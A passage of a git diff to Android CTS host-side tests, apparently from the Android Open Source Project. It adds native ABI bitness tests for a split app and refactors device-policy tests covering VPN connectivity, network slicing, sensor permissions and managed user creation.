+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
index 501e48e..b5c0be7 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
index 152512b..1a979df 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
index 33f9006..d4e34fa 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
index 21a2481..f50540d 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
index c8fa555..78b6faf 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
index 8a9ad3b..bd298c4 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
index d5b07dc..a1e67f2 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
index dc2beca..9325b09 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
index 5c839aa..d7e2014 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
index 136960f..d977407 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
index 6f36e71..3cc4b22 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
index 4d10e15..8759068 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
@@ -24,4 +24,9 @@
     public static native int add(int a, int b);
     public static native String arch();
     public static native int sub(int a, int b);
+    public static native int getAbiBitness();
+    public static native int getNumberAViaProxy();
+    public static native int getNumberBViaProxy();
+    public static native int getNumberADirectly();
+    public static native int getNumberBDirectly();
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 29d8d93..2308b98 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -48,6 +48,7 @@
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
+import android.os.Build;
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.system.Os;
@@ -78,6 +79,7 @@
 import java.io.InputStreamReader;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Locale;
 import java.util.stream.Collectors;
@@ -280,6 +282,44 @@
     }
 
     @Test
+    public void testNative64Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(64);
+    }
+
+    @Test
+    public void testNative32Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(32);
+    }
+
+    @Test
+    public void testNative_getNumberADirectly_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberADirectly()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberAViaProxy_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberAViaProxy()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberBDirectly_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBDirectly()).isEqualTo(11);
+    }
+
+    @Test
+    public void testNative_getNumberBViaProxy_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBViaProxy()).isEqualTo(11);
+    }
+
+    @Test
     public void testFeatureWarmBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index ec7f238..0804cc5 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -29,6 +29,9 @@
         "ub-uiautomator",
         "androidx.test.rules",
     ],
-    libs: ["android.test.base"],
-    sdk_version: "current",
+
+    libs: [
+        "android.test.base",
+        "android.test.runner",],
+    sdk_version: "test_current",
 }
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
index 69945a6..7ee9acb 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
@@ -18,14 +18,9 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
-import android.accounts.AuthenticatorException;
-import android.accounts.OperationCanceledException;
 import android.content.Context;
-import android.os.Bundle;
 import android.test.AndroidTestCase;
-
-import java.io.IOException;
+import android.util.Log;
 
 /**
  * Functionality tests for
@@ -37,8 +32,10 @@
  */
 public class AccountUtilsTest extends AndroidTestCase {
 
+    private static final String TAG = AccountUtilsTest.class.getSimpleName();
+
     // Account type for MockAccountAuthenticator
-    private final static Account ACCOUNT = new Account("user0",
+    private static final Account ACCOUNT = new Account("testUser",
             MockAccountAuthenticator.ACCOUNT_TYPE);
 
     private AccountManager mAccountManager;
@@ -46,6 +43,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
         mAccountManager = (AccountManager) mContext.getSystemService(Context.ACCOUNT_SERVICE);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 5bf6f20..bbd6732 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -19,7 +19,6 @@
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
 
-import android.net.VpnService;
 import android.os.Bundle;
 import android.os.UserManager;
 import android.util.Log;
@@ -49,6 +48,7 @@
     private static final String RESTRICTION_DONT_ESTABLISH = "vpn.dont_establish";
     private static final String CONNECTIVITY_CHECK_HOST = "connectivitycheck.gstatic.com";
     private static final int VPN_ON_START_TIMEOUT_MS = 5_000;
+    private static final long CONNECTIVITY_WAIT_TIME_NS = 30_000_000_000L;
 
     private String mPackageName;
 
@@ -112,7 +112,7 @@
 
     // Tests that changes to lockdown allowlist are applied correctly.
     public void testVpnLockdownUpdateAllowlist() throws Exception {
-        assertConnectivity(true, "VPN is off");
+        waitForConnectivity("VPN is off");
 
         // VPN won't start.
         final Bundle restrictions = new Bundle();
@@ -149,7 +149,7 @@
 
     // Tests that when VPN comes up, allowlisted app switches over to it.
     public void testVpnLockdownAllowlistVpnComesUp() throws Exception {
-        assertConnectivity(true, "VPN is off");
+        waitForConnectivity("VPN is off");
 
         // VPN won't start initially.
         final Bundle restrictions = new Bundle();
@@ -191,6 +191,23 @@
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
     }
 
+    private void waitForConnectivity(String message) throws InterruptedException {
+        long deadline = System.nanoTime() + CONNECTIVITY_WAIT_TIME_NS;
+        while (System.nanoTime() < deadline) {
+            try {
+                new Socket(CONNECTIVITY_CHECK_HOST, 80);
+                // Domain resolved, we have connectivity.
+                return;
+            } catch (IOException e) {
+                // Log.e(String, String, Throwable) will swallow UnknownHostException,
+                // so manually print it out here.
+                Log.e(TAG, "No connectivity yet: " + e.toString());
+                Thread.sleep(2000);
+            }
+        }
+        fail("Connectivity isn't available: " + message);
+    }
+
     private void assertConnectivity(boolean shouldHaveConnectivity, String message) {
         try {
             new Socket(CONNECTIVITY_CHECK_HOST, 80);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java
new file mode 100644
index 0000000..10971d7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkSlicingStatusTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class NetworkSlicingStatusTest extends BaseDeviceAdminTest {
+    private static final String TAG = "NetworkSlicingStatusTest";
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testGetSetNetworkSlicingStatus() throws Exception {
+        // Assert default status is true
+        assertTrue(mDevicePolicyManager.isNetworkSlicingEnabled());
+
+        mDevicePolicyManager.setNetworkSlicingEnabled(false);
+        assertFalse(mDevicePolicyManager.isNetworkSlicingEnabled());
+
+        mDevicePolicyManager.setNetworkSlicingEnabled(true);
+        assertTrue(mDevicePolicyManager.isNetworkSlicingEnabled());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 844b710..1362c5a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -27,7 +27,9 @@
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import android.Manifest.permission;
+import android.app.admin.DevicePolicyManager;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -79,6 +81,11 @@
             permission.ACCESS_BACKGROUND_LOCATION,
             permission.ACCESS_COARSE_LOCATION);
 
+    // TODO: Augment with more permissions
+    private static final Set<String> SENSORS_PERMISSIONS = Sets.newHashSet(
+            permission.ACCESS_FINE_LOCATION);
+
+
     private PermissionBroadcastReceiver mReceiver;
     private UiDevice mDevice;
 
@@ -427,6 +434,58 @@
                 PERMISSION_APP_PACKAGE_NAME);
     }
 
+    public void testSensorsRelatedPermissionsCannotBeGranted() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission cannot be granted.
+            assertFailedToSetPermissionGrantState(
+                    sensorPermission, DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsCanBeDenied() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission can be denied
+            setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+
+            assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+            assertCannotRequestPermissionFromActivity(sensorPermission);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission is not granted by default.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_DENIED,
+                    PERMISSION_APP_PACKAGE_NAME);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    private void assertFailedToSetPermissionGrantState(String permission, int value) {
+        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission),
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        assertEquals(mContext.getPackageManager().checkPermission(permission,
+                PERMISSION_APP_PACKAGE_NAME),
+                PackageManager.PERMISSION_DENIED);
+    }
+
     private CountDownLatch initPermissionNotificationLatch() {
         CountDownLatch notificationCounterLatch = new CountDownLatch(1);
         NotificationListener.getInstance().addListener((notification) -> {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index a83366a..e756984 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -22,9 +22,9 @@
 import android.os.UserHandle;
 import android.util.Log;
 
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
-
 import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.cts.devicepolicy.OperationSafetyChangedCallback;
+import com.android.cts.devicepolicy.OperationSafetyChangedEvent;
 
 public class BasicAdminReceiver extends DeviceAdminReceiver {
 
@@ -47,11 +47,10 @@
 
     @Override
     public void onReceive(Context context, Intent intent) {
-        String action = intent.getAction();
-        Log.d(TAG, "onReceive(userId=" + context.getUserId() + "): " + action);
-
         if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
 
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(userId=" + context.getUserId() + "): " + action);
         super.onReceive(context, intent);
     }
 
@@ -88,7 +87,8 @@
     @Override
     public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
             int networkLogsCount) {
-        Log.d(TAG, "onNetworkLogsAvailable(): token=" + batchToken + ", count=" + networkLogsCount);
+        Log.d(TAG, "onNetworkLogsAvailable() on user " + context.getUserId()
+                + ": token=" + batchToken + ", count=" + networkLogsCount);
         super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
         // send the broadcast, the rest of the test happens in NetworkLoggingTest
         Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
@@ -97,9 +97,20 @@
         DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, batchIntent);
     }
 
+    @Override
+    public void onOperationSafetyStateChanged(Context context, int reason, boolean isSafe) {
+        OperationSafetyChangedEvent event = new OperationSafetyChangedEvent(reason, isSafe);
+        Log.d(TAG, "onOperationSafetyStateChanged() on user " + context.getUserId() + ": " + event);
+
+        Intent intent = OperationSafetyChangedCallback.intentFor(event);
+
+        DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, intent);
+    }
+
     private void sendUserBroadcast(Context context, String action, UserHandle userHandle) {
-        Intent intent = new Intent(action);
-        intent.putExtra(EXTRA_USER_HANDLE, userHandle);
-        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+        Log.d(TAG, "sendUserBroadcast(): action=" + action + ", user=" + userHandle);
+        Intent intent = new Intent(action).putExtra(EXTRA_USER_HANDLE, userHandle);
+
+        DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, intent);
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 136da5d..d1d8be0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -16,14 +16,16 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.expectThrows;
+
 import android.app.Service;
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.os.IBinder;
@@ -32,7 +34,7 @@
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import android.util.DebugUtils;
 import android.util.Log;
 
 import java.lang.reflect.InvocationTargetException;
@@ -41,7 +43,6 @@
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.Semaphore;
-import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
@@ -71,266 +72,138 @@
         super.tearDown();
     }
 
-    public void testCreateAndManageUser() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser() throws Exception {
+        UserHandle userHandle = createAndManageUser();
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+        assertWithMessage("New user").that(userHandle).isNotNull();
     }
 
-    public void testCreateAndManageUser_LowStorage() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser_LowStorage() throws Exception {
+        UserManager.UserOperationException e = expectThrows(
+                UserManager.UserOperationException.class, () -> createAndManageUser());
 
-        try {
-            mDevicePolicyManager.createAndManageUser(
-                    getWho(),
-                    testUserName,
-                    getWho(),
-                    null,
-                /* flags */ 0);
-            fail("createAndManageUser should throw UserOperationException");
-        } catch (UserManager.UserOperationException e) {
-            assertEquals(UserManager.USER_OPERATION_ERROR_LOW_STORAGE, e.getUserOperationResult());
-        }
+        assertUserOperationResult(e.getUserOperationResult(),
+                UserManager.USER_OPERATION_ERROR_LOW_STORAGE,
+                "user creation on low storage");
     }
 
-    public void testCreateAndManageUser_MaxUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+    public void testCreateAndManageUser_MaxUsers() throws Exception {
+        UserManager.UserOperationException e = expectThrows(
+                UserManager.UserOperationException.class, () -> createAndManageUser());
 
-        try {
-            mDevicePolicyManager.createAndManageUser(
-                    getWho(),
-                    testUserName,
-                    getWho(),
-                    null,
-                /* flags */ 0);
-            fail("createAndManageUser should throw UserOperationException");
-        } catch (UserManager.UserOperationException e) {
-            assertEquals(UserManager.USER_OPERATION_ERROR_MAX_USERS, e.getUserOperationResult());
-        }
+        assertUserOperationResult(e.getUserOperationResult(),
+                UserManager.USER_OPERATION_ERROR_MAX_USERS,
+                "user creation when max users is reached");
     }
 
     @SuppressWarnings("unused")
     private static void assertSkipSetupWizard(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) throws Exception {
-        assertEquals("user setup not completed", 1,
-                Settings.Secure.getInt(context.getContentResolver(),
-                        Settings.Secure.USER_SETUP_COMPLETE));
+        assertWithMessage("user setup settings (%s)", Settings.Secure.USER_SETUP_COMPLETE)
+                .that(Settings.Secure.getInt(context.getContentResolver(),
+                        Settings.Secure.USER_SETUP_COMPLETE))
+                .isEqualTo(1);
     }
 
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
         runCrossUserVerification(DevicePolicyManager.SKIP_SETUP_WIZARD, "assertSkipSetupWizard");
+
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
-    public void testCreateAndManageUser_GetSecondaryUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+    public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
+        UserHandle userHandle = createAndManageUser();
 
         List<UserHandle> secondaryUsers = mDevicePolicyManager.getSecondaryUsers(getWho());
-        assertEquals(1, secondaryUsers.size());
-        assertEquals(userHandle, secondaryUsers.get(0));
+
+        assertWithMessage("wrong secondary users").that(secondaryUsers).containsExactly(userHandle);
     }
 
     public void testCreateAndManageUser_SwitchUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = switchUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_SWITCHED));
-        try {
-            assertTrue(mDevicePolicyManager.switchUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle,
+                userHandle);
     }
 
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        switchUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_SWITCHED));
-        try {
-            assertTrue(mDevicePolicyManager.switchUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-            assertEquals(UserManager.USER_OPERATION_ERROR_CURRENT_USER,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_ERROR_CURRENT_USER);
     }
 
     public void testCreateAndManageUser_StartInBackground() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = startUserInBackgroundAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
